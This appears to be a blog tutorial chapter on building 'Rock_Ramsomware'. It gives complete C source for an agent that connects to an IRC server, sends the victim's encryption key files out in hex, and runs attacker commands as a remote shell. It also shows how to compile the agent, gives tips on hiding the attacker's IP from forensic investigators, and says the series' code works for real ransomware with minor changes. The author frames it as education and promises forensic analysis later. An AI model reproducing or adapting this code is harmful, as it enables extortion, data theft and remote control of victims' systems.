Developing Ransomware Malware. Part 0x05
We need to create one to understand it.
Writing Our Own Ransomware Malware
for understand how the Cybercriminal write it.
?
In previous chapter we learnt :
In this chapter we will learn:
In the previous chapter, we created public and private keys. Once the keys were generated, we encrypted the folder's original files and then deleted them, leaving only the encrypted files. Now, it’s time for the cybercriminal to get those keys we generated. We have created three files:
These are very important files for the cybercriminal. With these files, he has encrypted our file system. Therefore, it’s crucial for him to get these files.
?
We still have a chance to retrieve the files because when files are deleted, we can always recover them with good tools like “TestDisk”. It’s an open-source Linux tool. I have used it many times to retrieve important files. Before using the tool, one should become familiar with it. Once you log in to Linux, you need to mount the Windows file system in Linux and then run the tool to retrieve the files. Below is the image of TestDisk in Action.
In today’s era, forensic investigators can track the source and destination IP of a packet. There is a history of hackers being caught by the FBI by obtaining the source and destination IP. The only mistake these hackers made was not masking their IPs. There are multiple ways to do it. One way we are discussing is using an RC server. This is one of the safe ways to hide your IP from forensic investigators.
?In our case, we will be using iRC for our communicaition server. Let’s see how we can use iRC.
To do this we need to have an iRC account (not required). Once you have an account, we need to create a #channel. Once we have a channel, anyone can communicate with us.
For example, the iRC channel name is “#3dsAquasan”. You just need to share “#3dsAquasan” with your friends and ask them to log in to #3dsAquasan from iRC, and we can get connected.
The best part is we can send and execute commands on/through the iRC server.
Let’s understand how we will be using iRC:
1. Create an iRC login and create a #3dsAquasan channel, so our Rock_Ramsomware can connect to it.
2. The #3dsAquasan channel is already integrated into our Rock_Ramsomware code, so it can directly connect to our channel.
3. Once connected to the channel, upload files such as PublicKey.txt, PrivateKey.txt, and other keys created to the iRC channel.
4. Delete the keys generated on the victim’s machine.
5. Once the keys are with the cybercriminal, ask for ransom ??.
6. Establish a connection with the victims to control their systems, do network analysis, and hack other machines on the subnet.
Below image show how indirectly we will be communicating with our Rock_Ramsomware via iRC chat server
Now that you know how this is done, let’s do it.
?
First, we will install iRC on my windows box, so we can communicate it with Rock_Ramsomware, as shown in the image below.
To install this chat client just google “pidgin” for widows or Linux, download and install it .
its one my favourite chat client.
Officially supported protocol are :
AIM, Bonjour, Gadu-Gadu, Google Talk, Groupwise, ICQ, IRC, SIMPLE, XMPP, and Zephyr.
So, with single pidgin client you can get integrated or chat with 9 or more application with this single one ??.
Now let’s connect to our #3dsAquasan Channel with pidgin.
领英推荐
Once you open pidgin, click on “Join a Chat” once you press this button the above screen will popup, enter “#3dsAquasan” and press Join. Once you press join a chat room get open, where all the connected people can chat to each other ,Privately too ??.
Here, application also can get connected, in our case our Rock_Ramsomware will connect in this channel too. ?
Below is the final screen from pidgin once joined #3dsAquasan channel.
From the cyber-criminal’s point of view they will always keep this screen open. Once our Rock_Ramsomware get executed from the user, it will try to connect this channel, in our case “#3dsAqausan” so the cyber-criminal can get all the keys and control of the machine.?
You can send command to Rock_Ramsomware / trojan through this pidgin client too.
Now let’s see the code , how our Rock_Ramsomware connects to the iRC channel called as “#3dsAquasan”.
agent.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "Ws2_32.lib")
// Define constants for IRC server, port, channel, and nickname
#define SERVER "irc.libera.chat"
#define PORT 6667
#define CHANNEL "#3dsAquasan"
#define NICK "YourNick"
#define MAX_MESSAGE_LEN 512
#define MAX_CONTENT_LEN 400 // Adjusted for PRIVMSG format overhead
// Function to send raw data
void send_raw(SOCKET sock, const char *msg) {
int sent = send(sock, msg, strlen(msg), 0);
if (sent == SOCKET_ERROR) {
printf("Send failed. Error Code: %d\n", WSAGetLastError());
fflush(stdout);
}
}
// Function to receive data from the socket
void recv_data(SOCKET sock, char *buffer, int length) {
int received = recv(sock, buffer, length - 1, 0);
if (received > 0) {
buffer[received] = '\0';
} else if (received == SOCKET_ERROR) {
printf("Receive failed. Error Code: %d\n", WSAGetLastError());
fflush(stdout);
}
printf("\n ----------------> I am here in recv_data ");
fflush(stdout);
}
// Function to convert binary data to hexadecimal string
char* bin_to_hex(const unsigned char *data, size_t len) {
char *hex_str = malloc(len * 2 + 1);
for (size_t i = 0; i < len; i++) {
sprintf(hex_str + i * 2, "%02X", data[i]);
}
hex_str[len * 2] = '\0'; // Null-terminate the string
return hex_str;
}
// Function to send a file's data in chunks
void send_file_in_chunks(SOCKET sock, const char *channel, const char *file_name) {
FILE *file = fopen(file_name, "rb");
if (file) {
fseek(file, 0, SEEK_END);
size_t file_size = ftell(file);
fseek(file, 0, SEEK_SET);
unsigned char *file_data = malloc(file_size);
fread(file_data, 1, file_size, file);
fclose(file);
char *hex_data = bin_to_hex(file_data, file_size);
size_t hex_len = strlen(hex_data);
free(file_data);
// Send the hex data in chunks
for (size_t i = 0; i < hex_len; i += MAX_CONTENT_LEN) {
char chunk[MAX_MESSAGE_LEN];
snprintf(chunk, sizeof(chunk), "PRIVMSG %s :%s: %.400s\r\n", channel, file_name, hex_data + i);
send_raw(sock, chunk);
printf("Sending chunk: %.400s\n", hex_data + i);
fflush(stdout);
Sleep(2000); // Sleep to avoid flooding the server
}
free(hex_data);
}
}
// Function to handle incoming IRC messages
void handle_incoming_message(SOCKET sock, char *message) {
if (strstr(message, "PING") != NULL) {
printf("-----------> Received PING, responding with PONG...\n");
char response[MAX_MESSAGE_LEN];
snprintf(response, sizeof(response), "PONG %s\r\n", strstr(message, " :") + 2);
send_raw(sock, response);
} else if (strstr(message, "PRIVMSG") != NULL) {
printf("-----------> Received PRIVMSG: %s\n", message);
// Extract the command from the message
char *command = strstr(message, "PRIVMSG");
if (command) {
command = strstr(command, " :") + 2;
printf("-----------> Executing Command: %s\n", command);
// Execute the command and capture the output
FILE *fp;
char result[1024];
char output[MAX_MESSAGE_LEN] = {0};
if ((fp = _popen(command, "r")) == NULL) {
printf("Failed to run command\n");
return;
}
// Read the output a line at a time and send it back to the server
while (fgets(result, sizeof(result) - 1, fp) != NULL) {
snprintf(output, sizeof(output), "PRIVMSG %s :%s", CHANNEL, result);
send_raw(sock, output);
Sleep(1000); // Avoid flooding the server
}
_pclose(fp);
}
} else {
printf("-----------> Received: %s\n", message);
}
fflush(stdout);
}
int main() {
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
char buffer[512], message[512];
printf("Initializing Winsock...v3\n");
fflush(stdout);
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("Failed to initialize Winsock. Error Code: %d\n", WSAGetLastError());
fflush(stdout);
return 1;
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
printf("Could not create socket. Error Code: %d\n", WSAGetLastError());
fflush(stdout);
WSACleanup();
return 1;
}
struct hostent *he;
if ((he = gethostbyname(SERVER)) == NULL) {
printf("Failed to resolve hostname. Error Code: %d\n", WSAGetLastError());
fflush(stdout);
closesocket(sock);
WSACleanup();
return 1;
}
memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length);
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
printf("Connecting to server...\n");
fflush(stdout);
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
printf("Connection error. Error Code: %d\n", WSAGetLastError());
fflush(stdout);
closesocket(sock);
WSACleanup();
return 1;
}
snprintf(buffer, sizeof(buffer), "NICK %s\r\n", NICK);
send_raw(sock, buffer);
snprintf(buffer, sizeof(buffer), "USER %s 0 * :%s\r\n", NICK, NICK);
send_raw(sock, buffer);
int files_sent = 0;
while (1) {
memset(buffer, 0, sizeof(buffer)); // Clear buffer before receiving data
printf("\nWaiting to receive data...\n");
fflush(stdout);
recv_data(sock, buffer, sizeof(buffer));
if (strlen(buffer) > 0) {
printf("Received: %s\n", buffer); // Display the received message
fflush(stdout);
handle_incoming_message(sock, buffer); // Handle the message
}
if (strstr(buffer, "PING") != NULL) {
snprintf(message, sizeof(message), "PONG %s\r\n", strstr(buffer, " :") + 2);
send_raw(sock, message);
}
if (strstr(buffer, " 001 ") != NULL) {
snprintf(message, sizeof(message), "JOIN %s\r\n", CHANNEL);
send_raw(sock, message);
}
if (strstr(buffer, " JOIN ") != NULL && !files_sent) {
send_file_in_chunks(sock, CHANNEL, "PrivateKey.txt");
printf("-----------> First File Sent\n");
fflush(stdout);
Sleep(1000);
send_file_in_chunks(sock, CHANNEL, "EncryptedAESKey.txt");
printf("-----------> Second File Sent\n");
fflush(stdout);
Sleep(1000);
send_file_in_chunks(sock, CHANNEL, "PublicKey.txt");
printf("-----------> Third File Sent\n");
fflush(stdout);
Sleep(1000);
files_sent = 1; // Mark that files have been sent
}
}
// Close the socket and cleanup
closesocket(sock);
WSACleanup();
return 0;
}
Let’s try to understand the code in short
The code uses standard C libraries for input and output, memory management and string manipulation with networking capabilities
send_raw() function : Sends raw data (messages) to the server. Checks if the message was sent successfully.
recv_data() function :Receives data from the server. Stores the received data in a buffer.
bin_to_hex() function :Converts binary data to a hexadecimal string. Useful for sending binary files as text.
send_file_in_chunks() function :Opens and reads a file. Converts the file data to a hexadecimal string. Sends the file data in chunks to the iRC channel.
handle_incoming_message() function :Handles messages received from the iRC server. Responds to "PING" messages to keep the connection alive. Executes commands received in "PRIVMSG" (private message) and sends the output back to the channel.
Now let's compile the code: You can compile the agent.c code with the following command:
C:\TEMP\K3> cl agent.c /link Ws2_32.lib
And to execute the command, use the following:
C:\TEMP\K3> agent
The image below shows how to compile and run the code
As soon as you run our "agent," it will start connecting to the “#3dsAquasan” channel. Once it is connected, it will send our three files to the cyber-criminal on the “#3dsAquasan” channel, where he can receive the files and then demand ransom from the victim.
Once the ransom is paid, he provides the private key to the victim to restore all encrypted files, as we have seen in the previous chapter on file system encryption.
The following files will be uploaded by our agent.exe to the iRC:
The agent.exe file will read each file line by line, convert them into hexadecimal format (in this case a simple encryption), and then send the data to the iRC channel. In a real scenario, the cyber-criminal would use a more complex encryption algorithm.
The image below shows the agent sending the keys in hexadecimal format to the cyber-criminal channel, which can be seen in the Pidgin agent.
Once the files are sent , the agent.exe file will go in listening mode. It will listen to the commands comming from the iRC server.
In this case, we have printed what is happening on the screen for better understanding. In the real world, you would never see the agent running on the screen ??; everything would run as a service.
Once the agent is in listening mode, the cyber-criminal can see the ransomware connection on the screen as a user—in this case, "Rock_Ramsomware."
The cyber-criminal will input the desired command in the chat box, which will be executed on the victim’s machine.
The image below shows the cyber-criminal giving the “dir” command in the chat box, which got executed on the victim's machine, returning the directory list to the cyber-criminal channel. This is how these guys control our systems ??.
Below image show command execution in action and its output.
With this, the victim’s machine is fully controlled from remote iRC channels.
We are now at the end of the Rock_Ramsomware malware coding. The code provided in chapters 0x01, 0x02, 0x03, 0x04, and 0x05 code can be used for writing ransomware.
Only about 5% of the code can be changed, such as multitasking, process injection, exploitation, and error checking. The rest of the code will work perfectly.
Practice this, understand the APIs, understand the logic, and try to identify where we can retrieve data without paying any ransom. The more you read the chapters, the more expert you will become.
In the next chapter, we will start forensic investigation of the victim’s machine, assuming that our system has been infected by “Rock_Ramsomware,” which we coded in the previous chapters.
By doing reverse engineering, we can identify and write the “Rock_Ramsomware” antivirus signature, so we can become Antivirus or Anti-Hacker Software Developers. ??
Thaks for your time.
See you next week.
?